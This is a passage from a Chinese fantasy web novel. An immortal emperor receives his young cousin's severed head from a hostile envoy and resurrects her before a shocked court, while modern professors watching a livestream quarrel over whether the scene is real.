如果不是还抱着温特,他当场就要把这冕旒丢一边去。 东西他已经得到了,谢吾德已经进入到了喜新厌旧的状态。 谢吾德一屁股坐在皇位上,把温特往边上一放,温特立刻融化在阴影里,直接跑掉了。 亚夏本来也想走,但是被谢吾德揪住衣领。 他看亚夏想跑,就要和他对着干。 御厨做的一些点心已经端了上来,御厨这段时间可是卯足了劲。 李真混上了谢吾德的蛋糕,他给御厨送了一块。 他不是在讨好御厨,而是想着鞭策一下御厨。 李真在走到谢吾德之前混的也不怎么样,但是没见过也吃过,他知道御厨可没有这样的技术。 他得鞭策一下御厨。 不能只有太监宫女们担心失业问题,御厨也得担心一下。 御厨何止是被鞭策到了,甚至他们彼此之间对对口风,居然发现谢吾德真就一口都没吃过他们做的饭。 在这个万恶的封建社会,能到御厨房工作的御厨都是这个国家最顶尖的厨艺高手。 一般来说,能在一个行业做到顶尖的人不仅需要卓绝的天赋,还需要几分热爱,在功成名就之后,他们对自己的职业和能力自然有自己的骄傲。 他们愿意做御厨也是因为等着他们不干了,出去说自己是御厨是一件非常有面子的事情,可是如果皇帝不吃他们做的饭,那他们算什么御厨?说出去怕不是会被人笑掉大牙? 亚夏看着桌子上的点心,其实不太想动。 谁说古代就没有科技与狠活的,有时候因为科技不发达,搞不好危害还更严重。 单纯这还好,亚夏在意识到自己不死又闲极无聊的时候曾经喝过种种危险的化学药剂,就为了尝尝味道,记录一下味道以及自己死亡的感觉,为人类科技做贡献。 但是他怕有人在里面加点尿之类的东西。 敢干硫酸的人不代表就敢干尿。 亚夏还是很保守的。 而且古代的水质也没办法保障。 要是跟现代人说甘泉,现代人都要挠头,然后寻思自己除了白糖水这辈子都没喝过甘泉,美国人倒是可能点评一下铅管输送的水很甜。 但是尝一下古代那地下水污染严重的水,再尝一下自来水,就会觉得现代的自来水就是妥妥的甘泉。 亚夏对水质还是很挑剔的,就像是以前他的城市引黄调水,他尝了一口掺了母亲河水的自来水之后,这辈子都没再直接喝一口自来水。 古代这水里有多少自然狠活他都有点不敢尝。 谢吾德拿起筷子。 亚夏后退,但是还是被谢吾德抓住,把一个点心塞到他嘴边。 亚夏紧紧地闭嘴。 谢吾德的筷子捅到了他的牙。 “来吃一口。”谢吾德嘿嘿地笑着。 亚夏撇过头。 他不要当小白鼠。 他反手直接用手抓起一块糕点塞进正在笑的谢吾德嘴里。 谢吾德笑不出来了。 “来吧,嚼……”亚夏话还没有说完,筷子就捅他嘴里了。 亚夏也笑不出来了。 他和谢吾德大眼瞪小眼,谁都不说话,两个人也不嚼嘴巴里的东西,就这么沉默。 尔雅看出来亚夏和谢吾德似乎并不怎么对付,两个人矛盾挺大的,但是没人会不长眼地站出来指责亚夏。 谢吾德和亚夏之间的关系并不能简单的用关系好坏来形容。 谢吾德就算讨厌自己,也不能忍受其他人说自己有半点不好。 两个人都不说话,但是最后还是默默地同时嚼了起来。 他们没有浪费食物的习惯,除非味道是真的恶心,不然吃进他们嘴巴里的东西是不会吐出来的。 这样一来,不能吐,那一直含在嘴里就难免觉得脸颊发酸。 谢吾德憋着一口气,他不想和亚夏打架,因为亚夏现在看着像是个小孩子,和小孩子打架赢了也没成就感。 他得再找个茬。 这一口气没憋多久,他就有了一个新靶子——萧国使臣来了。 第54章 从谢吾德自称皇帝到登基时间很紧张,毕竟谢吾德不搞三辞三让,但是却把不少时间用在了各种安排上。 萧国和荣国之间的距离并不算远,这些时间足够让萧国知道这次的事情了。 萧国也的确地派人来了,看上去还挺像那么一回事的,但是他们并不怀好意。 用他们皇帝的话来说,那就是他们萧国和荣国之间是父子之国,当爹的当然要为儿子登基祝贺。 只是使者在来到荣国之后没有说这种话。 谢吾德是一个性格极其强势的人这件事情完全是摆在明面上的。 虽然使者这种生物在必要的时候就是丢出进来给人杀的,但是他们也得达成某一个目的。 萧国又没有找理由打荣国的需求,他们想打就打,打完了荣国还得说一句兼爱非攻或者修德化远。 使者也不是害怕谢吾德会因此杀了他,这次他来的目的就是要激怒谢吾德,可是在激怒谢吾德之前,他首先要能见到谢吾德。 萧国的汉化已经非常明显了。 虽然萧国本身保留了许多游牧的特性,但是只要固定下来,想要建立一个稳固的政权,那就不可避免地需要模仿荣国。 他们萧国上一任皇帝其实也是想要摆脱华夏文明对周边的辐射影响的,以免自己哪一天被他们同化了。 可是哪有那么简单的事情呢? 就像是当时方士给谢吾德讲的故事中掺杂了很多中国神话的影子。 生活在一个具有相当大影响力的文明附近的人,也不可避免地被这个文明所影响。 就算他们极力避免地想要避免影响,但是荣国本身已经提供了很多好的思路,总不能因为和荣国对着干,就要放弃这种好思路了吧? 萧国很多人会嘲笑荣国的人迂腐,脑子一点都不灵活,但是荣国的文化繁荣绝对不是萧国能够相比的。 即使到现在,萧国的一大人才来源就是来自荣国的叛徒。 因为某个想法就不去做正确的事情,这是荣国的皇帝才会犯的错误,他们才不会做这样的事情。 从某种角度来说,萧国在大方向的思考方式就是荣国做什么,他们就不做什么。 摸着荣国过河,拿荣国当反面教材。 荣国和萧国是这样的,彼此都是看不起的。 但是还是要装作一派和睦,就好像他们真的是当代好邻居一样。 这次有人从荣国来,花了大钱贿赂萧国皇帝身边的人,他们表示他们有东西想要进献给萧国的皇帝。 那个人说话说得模棱两可的。 萧国人不吃神秘主义的那一套,看到有人在他们面前装神秘,他们的第一反应是把人打一顿的。 不管什么毛病,打一顿就好了。 打老实了就什么都愿意招了。 谜语人滚出萧国。 只是这次的谜语人还是什么都没有说,这人也不是骨头硬,他只是单纯地什么都不知道。 重赏之下必有死夫。 这次来的人知道这是一件非常危险的事情,搞不好自己就这么白白的送了命,但是临川陈氏给的钱实在是太多了。 萧国人在发现问不出什么情报之后,没有和人道歉。 他们萧国人打荣国人不是一件很正常的事情吗? 这么多年以来都是这么打的。 荣国人早就被吓破了胆子。 再说了,荣国人不是自称他们是王师吗? 既然如此,他们挨打了应该反思一下。 一个习惯打人,一个习惯被打,这怎么不算是天作之合。 不过虽然没有让那个人招出点什么也无所谓,能有这个手笔的人也并不多,十有八九就是那群和荣国皇帝似乎是站在一面但是又处处和皇帝作对的世家了。 萧国使者觉得这一次荣国的世家很有可能是想着给荣国的皇帝一个惊喜。 但是会是以什么形式呢? 萧国皇帝在知道这件事情之后,果断选择相信了世家。 萧国皇帝其实也很讨厌世家这种东西,因为他也是皇帝,萧国内也有类似世家的存在,这样的存在让他这个皇帝做得不是很爽。 但是敌人和朋友不是绝对的。 只要能让南荣动乱,萧国皇帝绝对愿意去帮个忙。 不仅是帮忙,他还让萧国的将军组织了一支大军往南进发,恐怕再过十天半个月,他们就要大军压境了。 邱腾就算能拦得住他们萧国的军队,还能拦得住他们国内的动乱吗? 单纯地配合荣国世家给荣国的皇帝准备惊喜有什么意思,他们还是应该为萧国多多考虑。 现在正好也天冷了,完全可以发扬过去先祖们的精神,南下劫掠一波。 萧国人盘算得都很好,使臣也是信心满满的,但是他万万没想到,在来到荣国之后,天上居然放出了画面。 萧国和荣国的信仰体系不同,但是所谓信仰,很多时候就是用某种高高在上的伟大存在解释一切,所以萧国的使者几乎陷入了和荣国人一样的震惊中。 他们也被苍天庇佑了? 萧国使者觉得他们之前做出的决定还是太过于草率了。 但是来都来了,作为一个使者,在被派遣出去的那一刻他就不能回头了。 萧国使者看着外面的大雪。 他并没有看出来这不是雪而是糖,朝中的其他人其实也没有看出来,他们只是觉得今天的雪有点奇怪。 毕竟谁会想到这个雪实际上是糖呢? 这些自恃身份的人也不会低头尝试舔一口。 他把“礼物”交给了站在他面前的李真。 李真双手接过这份礼物,他的眼睛死死地盯着萧国的使者。 李真这段时间掌控着锦衣卫,还抄了周元和周元下属的家,身上自然有一种冰冷残酷的感觉。 李真是坚决站在谢吾德那一边的。 如果哪一天谢吾德忽然离开,对于李真来说,最好的选择就是自杀。 不过只要谢吾德在一天,谢吾德就会一直把锦衣卫交给他。 谢吾德喜欢把人折磨成他的忠犬,但是谢吾德对一开始就对他忠诚的人好感度更高. 自从荆轲的事情之后,就没有人会允许使者自己把东西递交到皇帝面前。 所以东西是由李真转交给谢吾德的。 李真在看到那个盒子的时候就差不多知道这是什么了。 封得这么严实,里面还有一些怪异的气味。 香气中带着一股腐臭的味道。 不过李真直接给谢吾德了,他只是说:“萧国使者送来的东西味道可能会影响陛下您的胃口。” 他觉得谢吾德应该不会害怕这个东西,但是食欲就是另外一回事了。 而且亚夏还在一旁看着呢。 谢吾德把嘴里的点心咽了下去。 这东西的味道没有他熟悉的甜点味道那么纯粹,但是味道感觉还好。 谢吾德随手把空气隔绝开来:“没事,我看看。” 他完全不担心亚夏的心理承受能力。 李真点头表示明白,尔雅把谢吾德面前的点心拿走。 李真打开了这个盒子。 他废了一点力气,打开之后才再次放在了谢吾德面前。 那是一颗头,它已经有点腐烂了。 这颗头被放在生石灰上,所以才没有变得肿胀,边上还有一些香料,如果谢吾德不是隔绝空气流通,他大概会闻到一股又香又臭的味道。 谢吾德有点奇怪地看着这颗头。 谢吾德不害怕尸体,他见过的尸体多了去了。 以前也不是没有人向他献上过血淋淋的首级,这种场面对于他来说也就是日常。 别说是谢吾德了,就算是本体…… 谢吾德扭头看着亚夏,亚夏只是微微蹙眉,因为这颗头的主人肉眼可见地是个小孩子。 作为一个人道主义者,亚夏反对对孩童下手。 但是他并没有对这个头感到多少心理波动。 好吧,亚夏在这方面比他更过分。 为了能够创造合格的人类,亚夏不知道处理过多少尸体,他剖过的“人”比谢吾德被献上的祭品要多好几个数量级。 从某种角度上来说,谢吾德觉得自己的本体比他这个被信仰污染、日渐疯狂的人更加非人。 那个家伙有时候强调自己是人类,就像是外星人强调自己是人类一样,透着一股诡异感。 谢吾德想,如果这颗头是给他玩的话,那他还挺满意的,他挺喜欢收集标本的,就是打理起来比较麻烦。 但这显然,这群人是满怀恶意地把这颗头送到了他的面前,这是一种示威。 ……所以这是谁的脑袋啊? 谢吾德是个脸盲,但是他只是不擅长认脸和记名字,本身记性还不错。 他确定自己完全不认识这个年纪的小姑娘。 谢吾德有种丈二和尚摸不着头脑的感觉。 就像是走在街上,被外国人叽里呱啦地用中文“你个超级小饼干”骂了一通,从语气判断是在骂他,但是从内容就只想笑了。 有一种生气都不知道从哪里开始的感觉。 而且他在思考要不还是直接跨过调查的步骤直接打人吧。 萧国使者看着谢吾德的表情,他有点遗憾地发现谢吾德别说害怕了,他毫无感觉,甚至有一种迷茫的感觉。 阴阳怪气的时候,最讨厌的情况之一大概就是那个人根本就没听懂。 谢吾德就不太能听得懂这样的话,亚夏事后会琢磨出来,但是谢吾德事后就把这事丢到一旁玩别的去了,他忙着玩,只有那些焦虑人际关系的人才会去琢磨那些言外之意。 “启禀陛下,这是您堂妹的头颅。”萧国使者说道。 谢吾德歪头。 什么堂妹? 他这边堂妹多得能批发。 说起来“亲戚”实在是太多了,要不要开除一些。 说起来有没有农民起义整个福禄宴啊。 谢吾德不吃,但是他想看乐子。 要不先分个某个王四十万亩的地,然后跟那些百姓说把他煮了就把地均分给他们? 谢吾德的思路飘到了其他的方向。 他低头看看朝中有没有哪个皇亲国戚比较胖。 朝中的“谢某”们一抖。 亚夏看了谢吾德一眼,看他那憋不住笑的样子就知道他脑子里在想什么。 谢吾德是一点都不克制他的恶念。 荣朝的宗室爵位是每代递减的,被削得厉害,实在是没有作妖的余地,顶多就是搞搞土地兼并,和世家联姻罢了。 王旭用眼角的余光看了一眼陈家的人。 他从胡增鑫那里得到信息,陈家的人很可能是去北方找萧人了。 他们很可能是想要和萧人合作除掉荣朝宗室。 只是他现在并不太看好陈家的计划了。 而眼下这个被砍掉的头颅,也是陈家对谢吾德的示威. 谢吾德不是想要把你的皇位传给堂妹吗?现在谢吾德的堂妹死了,而他们世家之后会杀死每一个他们不满意的太子。 反正女人是绝对不行的。 王旭最担心的是谢吾德并不会理会这么委婉的表达。 他看谢吾德歪着头思考的样子,觉得他也的确没反应过来。 林耀祖好奇地伸长脖子看了一眼,看完她就后悔了,她感觉自己的食道在痉挛。 她在电视剧和电影中看见过很多尸体,但是她知道那都是假的。更何况这种作品不是避免把东西弄得太恶心就是打上马赛克。 然而现在自己眼前看到的这颗头绝对是真的。 弹幕绝大多数人都觉得这恶心,但是也有小部分猎奇爱好者让林耀祖再看几眼。 反正林耀祖是绝对不会再去看的。 “这位是大公主的女儿,谢萍。可惜她当时遇到了一伙流寇,被人砍下了脑袋。所以大公主心疼自己的女儿,所以想要托我们把他的头送回来,好歹是让她埋在荣国的土地中。”萧国的使臣说着,“让亲人团聚,这便是我们萧国为陛下献上的礼物。” 朝中的大臣之前并没有看清楚使臣送了些什么,但是现在使臣的话一出,他们都炸了。 他们中很多人其实没听清关于太子的部分,同时也不喜欢女人,但是即使如此,这也是他们荣国公主的女儿。 他们不允许萧国这么做。 谢吾德认真地想了想。 刚刚天幕上说的话他其实并没有认真听,听过基本就丢到脑后了,不会深入地联想,不过他想到了现在还远在萧国的那些被掳走的宗室们。 谢吾德提问:“这是第一批吗?” 萧国使者:“嗯?” 谢吾德偏偏头:“我是说,剩下那些人你啥时候杀了做成标本送回来啊?” 第55章 谢吾德觉得萧国使者对他的挑衅应该是威胁他荣朝有很多宗室还在他们萧国,这个不重要的公主的女儿只是来威胁谢吾德向他们萧国妥协的。 可是谢吾德想想,觉得“亲戚”标本似乎也挺有意思的。 一回家关上门就是全家团圆,蝙蝠侠做得到吗? 好吧,谢吾德对所谓亲戚团圆没有多少兴趣,他只是觉得这怪地狱的。 他都不敢想自己这爱好在普通人看来得有多变态。 谢吾德兴致勃勃地看着萧国使者。 萧国使者的嘴唇抖动了一下,显然他被谢吾德的变态给吓到了。 如果再倒退个一百多年,萧国的风气其实也挺野蛮暴力的,比如说把敌人的脑袋砍下来做成酒碗,但是这不是现在萧国也勉强算是文明人了嘛。 他们虽然没有南荣这么讲究尊重长辈,但是只是没有那么极端和明显。 谢吾德这种从现代社会养出来的没有那么封建的思想,配合他对解剖学的乐趣,在掺杂一点来自邪教祭祀影响的恶劣爱好,那完全就是让这些封建社会的人抖三抖的邪恶存在。 虽然说这个世界的历史走向也是以原本世界历史的走向为蓝本的,但是现代人和古代人之间的差距有的时候大到比两个文明之间的差距还要大。 现代人的种种想法放在古代人那里就像是不可言说的邪神一样,是有着精神污染的。 谢吾德恰巧是那个能够给人带来最大精神污染的家伙。 不少现代人听到他的想法都得抖一下,更别说这种纯种古代人了。 当然,要是跟谢吾德说拿别人的器官做成艺术品,他也得皱眉。 他一直都只拿自己的尸体玩的。 谢吾德自己知道自己有些话只是在口嗨,但是别人就不清楚了。 鬼知道谢吾德是认真的还是开玩笑。 反正朝中的大臣信了大半。 他们的脸色铁青,本来想说些什么,但是想到还在外面死透了的谢珖,他们又觉得好像没什么好说的了。 父亲这个身份远比什么亲戚都重要。 从地位到感情应该比他那素未谋面的爷爷更重要。 他都能杀了亲爹,杀死其他的人又算什么呢? 萧国使臣半天没有想到合适的用来和谢吾德沟通的词。 他是使臣,是和人沟通的,但是他看谢吾德,怎么看都不像是个人,反而像是青面獠牙的怪物。 就在这时,林耀祖走了上来,靠近了谢吾德,行了一个不伦不类的礼。 按照一般规矩,林耀祖这样随随便便地靠近谢吾德并不合适。 这并不合规矩。 不过好在谢吾德是一个对规矩很不耐烦的人,一个恨不得别人跟他说话直接递关键词和分条呈送关键句的人没有那种耐心等人慢慢行礼。 再说了,还能有人把他给杀了吗? 而且他对林耀祖这个穿越者有很多兴趣,所以也自然不会故意找茬去刁难她。 他挥挥手让李真退开,让林耀祖上前跟他说话。 林耀祖赶忙说道:“陛下,这位好像就是之前天幕上提到的新太子?” 谢吾德把耳朵往另外一个方向偏了偏,林耀祖凑得有点近,他不喜欢和人靠的太近。 林耀祖也是个适应三倍速的人,而且她本来就知道未来。 谢吾德低头看了看这个脑袋,怎么看都不觉得这个脑袋像是个太子的脑袋。 谢吾德其实也是有一点刻板印象的。 太子好歹是得有几分贵气的。 这个头摆在那里,仿佛垃圾一样。 谢吾德对妹妹没有多少喜爱,就算是现实的他,也几乎没干过哥哥就要让着弟弟妹妹的事。 “嗯,那就说明这个太子是我选的?” “是,她就是未来的荣昭宗。”林耀祖说完这句话就有点后悔,她好像一不小心说漏嘴了,“至于是不是陛下您选的……臣不知道。” 谢吾德对于荣昭宗这个庙号没有太大的反应,对林耀祖说漏嘴的话也没有在意。 现代人对于这种事情本身就没有什么敏感度,而且他总觉得“昭”这个字像是个好字。 谢吾德本来想要戳戳亚夏,但是亚夏在观察这颗头,似乎是在验尸。 亚夏不理谢吾德。 谢吾德知道自己专注的时候他是不会管别人的。 又戳了戳温特,也没有回应。 那就没法从这两个人那里获得关于未来的推演了。 谢吾德看向下面的朝臣,如果反推一下,不难猜出萧国使臣做这一切很有可能和这些家伙有关系。 谢吾德对于自己的人品和作风还是有相当的自信的,他不可能能够得到别人毫无保留的支持。 那这群人绝对是在憋着坏,想要反对他。 天幕是人为制造出来的,他们想要做出这个天幕,首先就得知道未来。 这颗头可能本身就是配合这个天幕出现的,让谢吾德知道一些未来,然后丢出“堂妹”的脑袋向谢吾德示威。 谢吾德摸了摸下巴,他酝酿了一下情绪。 他对于小孩子没有半点兴趣。 铁血单身加丁克,他看到可爱的小孩子也许会笑一下,但是打交道超过一分钟就会烦了。 看着只剩一个脑袋的谢萍,谢吾德想,这还真的是他的性格。 在一个封建制度下的父权社会,他选择了一个其实严格意义上来说并不能说姓谢的的女性来继承这个皇位,这绝对是对宗法制的一次巨大的挑战。 谢吾德觉得你自己应该没有别的什么意思,就是单纯的想要让所有人都震惊。 谢吾德让AI把相关的资料分析一下,很快就注意到了最开始出现的那个“昭”字所谓的意思。 看来这位荣昭宗很有可能是在死后被推翻了,才得来这么个庙号。 谢吾德选择继承人的标准绝对和能力无关,毕竟这个世界怎么样并不重要,就算世界在他离开之后爆炸也无所谓。 他最看重的只有一个:怎么样做能让其他人生气。 现在看来这位荣昭宗的能力不行。 谢吾德最生气的点大概就是他给了谢萍机会但是她不中用。 斗蛐蛐斗输丢的是蛐蛐的脸吗?是谢吾德的脸啊。 但是不管怎么说,既然这是他的人,那他就不允许人挑衅了。 谢吾德从皇座上走了下去。 他再怎么不正常,他在正经起来的时候,仪态都是端正优雅,走路的时候甚至能够听到鞋跟和地面碰撞的咔嚓的声音。 他背着双手,一步一步地向台下走去。 萧国的使者本来因为距离远,不是很能看得清谢吾德的脸色,但是现在谢吾德走到他的面前,他原本想要露出来的挑衅的表情直接被谢吾德的眼神给吓得收回去了。 谢吾德是笑着的,但是他的眼睛里没有半点情绪,也没有半点对于同类的感触,他有的只是一片的冷漠。 微笑与冰冷带着一种强烈的反差。 他的那双眼睛是蓝色的。 萧人的容貌很像荣人,从发色到肤色基本上都差不多。 所以即使对于萧人来说,蓝色眼睛也是非常罕见的。 他们知道他们西边有一些人是蓝色眼睛的。 只是显然谢吾德不可能是来自更西边的地方。 谢吾德从衣袖里抽出了厚实的橡胶手套,戴在了自己的手上。 李真端着盒子,跟在谢吾德。 谢吾德用手指揪起了谢萍的头发,放在了他的面前。 他和自己这个素未谋面的堂妹对视。那双眼睛显然已经失去了光泽。 活着的眼睛和死了的眼睛是截然不同的。 很多生物活着的时候眼睛十分美丽,这个世界最漂亮的宝石都无法和这样的眼睛相比,但是在生物死亡之后,这种灵动的生机就会消失,漂亮的眼球就会变成一团普普通通的肉。 即使立刻丢进福尔马林里也不行。 眼睛是需要活着的。 萧国的使者稍微有点慌,谢吾德的不按常理,让他感觉到了心态有点失控。 不过他还算是能够稳得住,使者直接选择性无视谢吾德之前的暴论,他没有到谢吾德说什么他都能接上话的本领:“陛下仁德,想必是不希望自己的堂妹葬在外面吧。” 谢吾德看了这个使者一眼。 他并不认为人必须要入土为安,他自己以前也有过尸体,无论是哪个自己都玩得很愉快。 做成烟花射到天上,做成钻石收藏起来,发射到天上做近地卫星,以及未来计划着的把自己的骨头剖出来做成标本骨架。 指望这样不死的他能够对“入土为安”这件事情有半点的执念吗? 不,谢吾德只觉得自己尸体还不够多,他没玩尽兴。 他是再开玩笑,但是未尝不是认真的。 谢吾德感觉这次的示威并没有让他产生什么特别的感觉。 这群人如果想要激怒他的话,那他们显然是失败了,谢吾德还得酝酿一下愤怒的情绪。 但是在他们自己看来,杀死谢吾德的继承人又是狠狠地挫败了谢吾德的计划,谢吾德得重新挑人。 这是对他们的一种妥协。 是他们的胜利。 哪怕这种想法充满了阿Q精神。 谢吾德很介意的,他绝对不会让这群人哪怕有一星半点能够在他的身上感受到精神胜利的机会。 他转而双手捧着那颗头。 余文彦咽了一口口水,又觉得在这种时刻吞咽有点恶心,他有点想要吐。 陛下,您老又要搞什么幺蛾子? 如果不是谢吾德一如既往地有洁癖,他都怀疑谢吾德下一秒是不是要啃在这颗头上,给大伙来个恐怖冲刷。 余文彦必须感谢谢吾德没有读心的能力,不然谢吾德非得把他抽足一百八十天,抽出美味抽出鲜。 谢吾德在做这种事情的时候非常有恒心。 谢吾德也过了一开始拿着头的兴奋,他立刻开始了自己接下来的动作。 首先是谢萍的头如同枯木逢春一样增加了许多颜色,上面腐烂的痕迹也渐渐消退,微微黄色的白骨从那谢萍的头颅下方生长出来,紧接着是鲜红的肌肉纤维,最后便是逐渐往外延伸的外皮…… 萧国的使者大骇,直接后退一步。 就连自以为是穿越者、已经做好许多心理准备的林耀祖,也完全没想到自己会亲眼见到这种超自然的画面。 谢吾德之前在林耀祖面前藏着自己的特殊就是为了现在这一刻。 谢萍碎片正在肉眼可见地变成谢萍。 复活? 哪个正经的神不会复活呢? 谢吾德是没有办法直接赋予人健康,但是有人请求复活和长生不死这种事情还是可以做到的。 健康是要在有生命活性的□□上进行,生命的活性会影响到法术的使用,他得把别人杀了才能修复身体,而复活则是对着一堆冷冰冰的无机质,长生不死也就是反复刷生死状态。 生死的界限对谢吾德来说完全不存在。 顶多,在亚夏高处灵魂之前,他们不敢说复活的人在哲学意义上是不是之前的人,只是重新激活了一堆认为自己还是原来的东西的蛋白质。 谢吾德活这么久,并没有对几个人用过复活,但凡他想要把人复活,那都是心里有了坏心思,不是折腾人,就是折磨自己,所以差评率很高。 现在,他要在自己的差评率上再增添一笔了。 傻了吧,爷……不,朕会复活! 谢吾德还刷到了AI的观察提示——有人吓尿了。 生理意义上的。 还是复数形式。 第56章 现代—— 生物系的教授已经和历史系的教授打起来了。 “都跟你说了,这肯定就是真正的荣朝,你看看这上面的装饰,它完全填补了我们在一些领域的空白,都是可以和之前的很多研究环环相扣,如果这是造假,这得是多么大的工程量,我可没听过哪个专家去搞这种项目了。现在这个直播帮助我们对于武宗一朝的研究了解有了十足的进步。这就是过去的影像。史书没有撒谎,荣武宗就是一个特殊的存在。”历史教授推着生物系教授的脸,让他睁大眼睛好好地看看这个直播,他自己的眼睛也没有移开屏幕。 “可是这根本就不科学!这蛋白质都彻底变性了,人都臭了,怎么可能会复活?再说了,历史系没有专家去,但是那些信奉谢吾德的神棍呢?他们对荣武宗那个朝代的历史并不比你们这些专家学者要差。” “科学是建立在经验之上的!你看现在发生的事情不就是一种证据吗?” “但是过去这个世界几十亿人,有谁复活过吗?这根本就是在造假!” “你就知道科学,科学,你没听过‘一切皆有例外’吗?你们生物学上的例外还少吗?科学是建立在经验之上的?你是不是学历造假了?还是上的是什么野鸡大学?” “我操你大爷!老子是全国第一的大学毕业!” “我也是国内大学毕业,你别以为我不知道咱们根本就不是校友!” 两个教授已经进入到了人身攻击的状态,甚至开始撕起了学校排名。 他们吵吵嚷嚷的,实际上发出的是世界观破碎的声音。 旁边的学生根本就没有去拦着教授打架的,他们也被直播中的这一幕给震惊到了。 这两个老头就在那里互相喷着口水,两个人交换的口水,说不定比这辈子和自己老伴亲嘴的时候交换的口水都要多。 “如无必要,勿增实体。相比起解释这是某种特殊情况,你不如解释这根本就是有人在造假,这是特效。” “那需要多少成本呢?” “鬼知道,我又不是学经济商贸之类专业的。你问我,我怎么知道那群黑了心的资本家脑子里都有什么神奇的点子?你不如问问老王。王教授?” 旁边商学院的王教授翻了个白眼。 能够出现在这里的都是教授和教授的得意门生,他们一开始是被叫过来判断这个直播是否是真的,后来初步意见是真的。 他们没办法关掉这个网站,现在这个直播的名声也打出去了,他们拿这个直播没有多少办法,只能在电视新闻上呼吁谨慎看待。 这次特殊事件发生,所以他们又被集中到了一起。 学员都很激动。 因为如果这个直播是真的,那这个世界一下子就多了太多的变数,大家都很有压力。 穿越直播就算了,他们已经裂开很久了,但是复活还是太过于超出别人的想象了。 人的精神状态会随着压力的增大逐渐变得不正常,这就无怪乎全教授了,开始互相喷口水了。 对方说的不对吗? 对方说的肯定都有理,但是大家就是很紧张,想要找一个人骂一下。 就好像一肚子怒气去超市退货的时候,服务员售货员的态度十分良好,主动地提出退货一样。 一肚子想要找茬的气没处发泄。 这种时候就希望售货员能够刁钻一点,能够让他们痛痛快快地喷。 至于物理学的教授为什么没有出现在这里…… 因为物理学的教授已经晕了过去,送去医院了。 信息工程的教授才刚出院。 倒是没有人喊物理已死,只是想到他们之后能够得到的投资,他们就变得十分激动了。 学生小心翼翼地看着隐隐有着掐死对方架势的老教授,在盘算着他们是不是也要被激动得血管爆炸了? 但是仅仅是看了一眼,两个教授盯着他们不成器的学生:“看我干什么?看屏幕!” 这俩老头就算掐架互骂,嘴巴上完全不休息,他们也一直看着这场直播。 发觉这群家伙完全不需要关系,学生们又转回了目光被正在复活的谢萍给吸引住了。 这是怎么回事呢? 这里有生物学的学生,也有日渐秃顶的医学院的学生在这里,他们对于人体的构造十分熟悉,所以他们看着这个正在复活的尸体,看的都痴了,眼睛眨都不眨。 如果有别的人看到他们这个样子,说不定得抖一下,感觉自己看到了什么恐怖片中的科学怪人。 还是一群科学怪人。 这些学生虽然学识没有专家教授多,但是能够被教授们喊过来的他们在这个专业好歹也深耕了数年,他们只感觉有一扇新世界的大门在向他们打开。 他们就是因为太了解这种东西了,所以才更会。如果这是模型的话,这做的也实在是太精准了,精准到了可怕的地步,他们觉得像真的,但是又不敢相信这是真的。但是要说这是真的,那他们又觉得这完全是打破了生物界的种种法则。 生物是可以复活的吗? 其实这也算是一个定义问题。 先有鸡还是先有蛋? 那么就得先得定义鸡蛋是鸡生的蛋还是生鸡的蛋。 如何定义复活呢? 是像是复活宠物那样克隆一个新生命?遗传物质是构成一切生命的密码。 还是说复活是记忆和情感的重现?那这样通过极为先进的计算机模拟出来的算是本人吗? 说起这个话题,搞不好他们得把他们哲学系的教授再送进医院里。 校长之前说了,要他们好好保护教授的身体,因为教授进医院算是工伤。 现在唯一没有盯着谢萍的大概只有学校的材料学教授,因为他在盯着谢吾德手上的手套 尔雅看到谢萍被复活到一半,连忙扯过一个帘子,替她围住了正在生长的身体。 谢吾德看起来对自己的这个堂妹并没有多少体贴的意思,但她作为宫女,总要为皇帝维持几分体面。 而且谢萍虽然还是个小孩子,但是也不好让人在众目睽睽之下赤身裸体着,在场百分之九十九的都是男人。 这是非常令人惊骇的一幕。 虽然是实打实的奇迹,但是对于谢吾德的敌人来说,这简直是世界上最恐怖的恐怖片——他们杀死的敌人,一点一点地在他们面前被复活。 萧国的使者已经一屁股坐在了地上,之前被吓尿的人就有他。 谢吾德复活的只是一个小女孩,不是什么恐怖的怪物,但是有谁不会因为眼前这疯狂的一幕而震惊呢? 如果过去有人跟他们说,有人能够将一颗人头重新变回一个完整的人,除了那些对神鬼之说笃信不疑的人之外,大概所有的人都会觉得这个人吹嘘太过,实在是脱离现实。 这个故事实在是太过于超脱现实了,而且有点猎奇,很难吸引到别人的目光。 大家喜欢听的是什么呢? 比如人在桥上遇到一个老头,被教授了功法秘籍,又或者是那种一梦三千载、烂柯奇缘之类的故事。 但是复活从来不是凡人能够拥有的殊荣。 看看世界各国的神话,能够复活的往往都是神明。 不提大名鼎鼎的耶稣,国内的如同哪吒、铁拐李之类的传说,那些人本身就不是凡人,不是自己本来就是神仙就是有神仙的关系。 至于其他地方的神话,除了埃及复活的是法老之外,其他能够死而复生的,大多是本身就是神明的人。 就连埃及法老,在他们埃及人的观念里都是神。 由此来看,复活根本就不是普通人能够奢望的东西,这也是划分人神之间的重要区别。 从更实际的角度来看,如果人能够复活的话,宗教和神话体系就很难玩得下去了。 绝大多数人都希望自己失去的亲朋好友能够活过来,所以为了防止牛皮被吹爆,谁也不敢直说,顶多是许诺一个死后世界,而不会许诺什么只要做了足够的善事,人就不会死了。 因为这件事情实在是太好验证了。 如果有人找茬,直接丢一具尸体让神职人员复活该怎么办? 但是现在奇迹发生了,谢吾德就是喜欢展现出展现给人各种各样的奇迹。 其他的神话故事还需要现实来依托,让人能够在现实中寻找一些似是而非的证据。 谢吾德从来不需要这些模棱两可的东西,因为他本身的存在就是最大的证据。 余文彦看着正在被复活的谢萍,他的脑子里出现了不合时宜的吐槽:陛下的臂力真强大,居然能够拖着一个人的脸颊就把人提起来,哪怕只是一个小孩子也是一样的。 谢吾德有些时候颇有武将之风。 特指不爱动脑,拳头又硬这一点. 谢萍再次睁开眼的时候,发现自己出现在了一个非常陌生的地方。 她从未见过如此大的地方。 她的母亲是大公主。 虽然在南荣,公主不怎么值钱,这位大公主也并不是受宠的公主,但她如果在南荣,保证大公主的女儿一生平安顺遂,荣华富贵还是没问题的。 南荣别的不提,还是很有钱的。 然而她的生命在突如其来的一天结束了。 萧国的人把她抓了起来。 她的母亲尖叫着,挣扎着想要把她救下来。 可是在这群人高马大的男人在决定要把她拖出去的时候,她的母亲无论如何挣扎都是没有用的。 她怎么能够逼得过这群人高马大,杀人无数的人? 她看见了自己的母亲用牙去咬那些男人的大腿,用指甲去撕扯他们的皮肤。 她的攻击完全无法威胁到那些人的生命,但是她的愤怒却像是完全没有打算活着一样…… 她没能伤到他们。 大公主就没学过打架,她早就被宫廷的礼仪教傻了。 